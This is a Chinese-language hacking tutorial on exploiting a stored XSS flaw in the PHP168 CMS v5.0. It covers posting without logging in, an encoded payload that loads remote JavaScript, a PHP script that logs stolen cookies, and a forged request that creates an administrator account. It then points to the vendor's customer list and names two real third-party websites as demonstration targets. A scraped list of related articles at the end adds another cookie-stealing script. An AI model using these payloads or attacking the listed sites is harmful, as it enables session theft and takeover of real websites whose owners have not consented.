XSS跨站及利用

(一)软件测试环境以及搭建

  测试环境:本地 XAMPP 1.7.1

  测试软件:PHP168整站v5.0

  软件下载地址 http://down2.php168.com/v2008.rar

  PHP.ini 配置: magic_quotes_gpc Off(On或者Off对持久型XSS并无没影响) ;register_globals Off ;safe_mode Off ;

  (二)XSS跨站基础

  1、XSS攻击定义

  XSS又叫CSS (Cross Site Script) ,简称跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性,实际很多系统都存在XSS漏洞,本文中主要是研究PHP168整站系统中的XSS的利用。

  2、如何寻找XSS漏洞

  就一般而言,XSS攻击可以分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。

  3、如何利用

  传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。

(三)XSS跨站利用

  1.获取XSS漏洞地址

  XSS又叫CSS 全称Cross Site Scripting 跨站脚本攻击。分为持久性,反射型两种。本文演示的是持久性跨站以及简单利用。其实都是站在前人的基础上,感谢那些无私奉献的牛牛。我们安装完php168后,不要登陆,直接打开如下URL: http://localhost/php168/member/post.php?job=postnew&fid=2

  可以绕过管理员登陆,直接发表文章,如图1所示。

  

  图1绕过验证直接发帖

  说明:

  如果是在实际网络上面进行测试,可以使用“php168/member/post.php”作为关键值进行搜索,找到搜索结果后,对结果进行查看,如图2所示,单击其中的“发表”链接进入发表页面。这样获取的Fid才是正确的ID,否则得到的ID打不开页面,如图3所示。在图3中的相应输入框中输入相应的测试值,完毕进行发表,如图4所示,会给出发表后的相应操作,单击查看,可以看到刚才发表的帖子,如图5所示,整个发表过程无须审核和登录。

  

  图2 搜索获取php168发帖地址

  

  图3 直接发表帖子

  

  图4 发表帖子成功

  

  图5 查看发表的帖子

  2.测试XSS

  在发表帖子页面中选择“源码”模式,然后在内容中加入以下代码:

  然后单击发表,我们看看文章地址:http://127.0.0.1/php168/bencandy.php?fid=2&aid=4

  邪恶的XSS 出现,如图6所示。

  

  图6找到邪恶的XSS

  3.远程包含JS文件攻击

  我们远程包含JS文件来攻击,代码如下:

  src="javascript:s=document.createElement(‘script‘);

  s.src=‘http://127.0.0.1/xss/xss.js‘;

  document.body.appendChild(s);"/>

  这样直接发上去是会被过滤掉的,我们转换编码,对于不会转换编码的朋友可以到http://ha.ckers.org/xss.html#ipobfuscate去直接转换。

  代码如下:

src="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x73&#x3D&#x64&#x6F&#x63&#x75&#x6D&#x65&#x6E&#x74&#x2E&#x63&#x72&#x65&#x61&#x74&#x65&#x45&#x6C&#x65&#x6D&#x65&#x6E&#x74&#x28&#x27script&#x27);

  s.src=‘http://127.0.0.1/xss/xss.js‘;

  document.body.appendChild(s);"/>

  这样我们就可以直接编辑我们的xss.js文件来吊管理员Cookie了。当然反射型的更多。其执行效果如图7所示。

  

  图7 XSS读取效果

  4.获取Cookie

  我们编辑js文件如下:

  alert(document.cookie);

  返回查看,如图8所示,显示本地的Cookie值。

  

  图8 获取本地Cookie值

  当然我们隐藏钓管理员Cookie,并没测试官方。请大牛试试吧。

  5.编写代码获取Cookie或者直接添加管理员

  编写我们的PHP文件,代码如下:

  /*auther:menzhi007 Blog:http://hi.baidu.com/menzhi007 */

  $txtfile = "menzhi.php";

  $date = date("Y-m-d - H:i:s");

  $cookie = $_GET[‘get‘];

  $writeinfo = "{$date}\n{$cookie}\n";

  $printer = fopen($txtfile, ‘a‘);

  fwrite($printer,$writeinfo);

  fclose($printer);

  ?>或者直接添加管理员,代码如下:

  location.href="http://127.0.0.1/php168/admin/index.php?lfj=member&action=addmember&postdb%5Busername%5D=menzhi007&postdb%5Bpasswd%5D=menzhi007&postdb%5Bpasswd2%5D=menzhi007&postdb%5Bgroupid%5D=3&postdb%5Bemail%[email protected]&Submit=%CC%E1%BD%BB";

  平时也没什么时间上网,具体大家自己测试吧。官方路径:D:\p8-server\wwwroot\php168_com\

  已通知官方修补漏洞了,不要搞破坏(没进入官方挺后悔的)。

(四)实例演示

  大家打开官方主页http://www.php168.com/biz/impower.php

  商业授权查询,如图9所示。

  

  图9 获取使用php168整站系统的用户

  我们随便挑几个,演示站点:

  http://www.3cq.org/member/post.php?job=postnew&fid=2

  

  图10演示站点1

  演示站点2:

  http://www.ccdv.cc/member/post.php?job=postnew&fid=2

  

  图11演示站点2

时间: 2024-10-01 07:21:42

XSS跨站及利用的相关文章

XSS跨站获取cookie

测试环境:hacker端   and   victim端 1,hacker端(hacker.php)的程序内容如下: <?php $cookie=$_GET['cookie']; $file=fopen("cookie.txt","a"); fwrite($file,$cookie); fclose($file) ?> 2,受害者端(victim.php)的程序内容如下: <html> <head> <title>xs

XSS跨站漏洞 加强Web安全

第1章 课程介绍简单介绍课程的内容.1-1 课程介绍 试看 第2章 基础知识在基础知识章节中主要让同学们对XSS有一个总体的概念,对XSS的原理及危害,以及XSS的类型有一个概念,这个章节中包含了 XSS介绍及原理.反射型XSS.存储型XSS.DOM型XSS等内容.2-1 XSS介绍及原理 试看2-2 反射型XSS实战及防御 试看2-3 存储型XSS实战及防御2-4 DOM型XSS实战及防御 第3章 工具使用在工具使用章节中主要让同学们对掌握挖掘XSS漏洞的一些工具使用方法,比如网站扫描,暴力测

WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等

核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Webshell上传.命令注入.非法HTTP协议请求.非授权文件访问等.

XSS跨站测试代码大全

XSS跨站测试代码大全                                                                                   摘自:http://www.cnblogs.com/qmfsun/p/5652712.html '><script>alert(document.cookie)</script>='><script>alert(document.cookie)</script>

漫话web渗透 : xss跨站攻击day1

1.1什么是XSS跨站攻击 xss攻击并不是对服务器进行攻击,而是借助网站进行传播,攻击者精心构造的一个URL,欺骗受害者打开从而使恶意脚本在受害者计算机中悄悄运行1.2XSS实例 首先我们看一个简单的xss实例 <html> <head>this is a xss test</head> <body> <script>alert("xss")</script> </body> </html>

修复XSS跨站漏洞

XSS跨站漏洞最终形成的原因是对输入与输出没有严格过滤. 1.输入与输出 在HTML中,<,>,",',&都有比较特殊的意义.HTML标签,属性就是由这几个符合组成的.PHP中提供了 htmlspecialchars().htmlentities()函数可以把一些预定的字符转换为HTML实体. &成为& "成为" '成为' <成为< 成为> 2.HttpOnly HttpOnly对防御XSS漏洞不起作用,主要是为了解决XS

用shell脚本批量进行xss跨站攻击请求

由于执行的xss攻击请求他多了,初步估计要执行83次,而且还要执行3篇,如果手工一个一个去执行,说出去,我还配叫自动化大师吗: 有鉴于此,边打算自己编写一个脚本进行批量执行: 而短脚本的编写,非shell莫属,想到做到: 首先附上xss跨站攻击的请求报文: POST /web/show.asp?id=1327 HTTP/1.1 Host: 192.168.26.xxx Connection: close Accept: image/gif, image/jpeg, image/pjpeg, im

XSS(跨站攻击)

XSS:跨站攻击防御的方法(PHP) 1.转义/编码 htmlspecialchars() 2.过滤 strip_tags() 3.CSP(Content Security Policy) 4.第三方库 (1)HTMLPurifier (2)htmLawed (3)Zend_Filter_Input

web安全性测试——XSS跨站攻击

1.跨站攻击含义 XSS:(Cross-site scripting)全称“跨站脚本”,是注入攻击的一种.其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本.这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本. 一个永远关不掉的窗口while (true) { alert("你关不掉我~"); } CSRF:跨站请求伪造(Cross-site request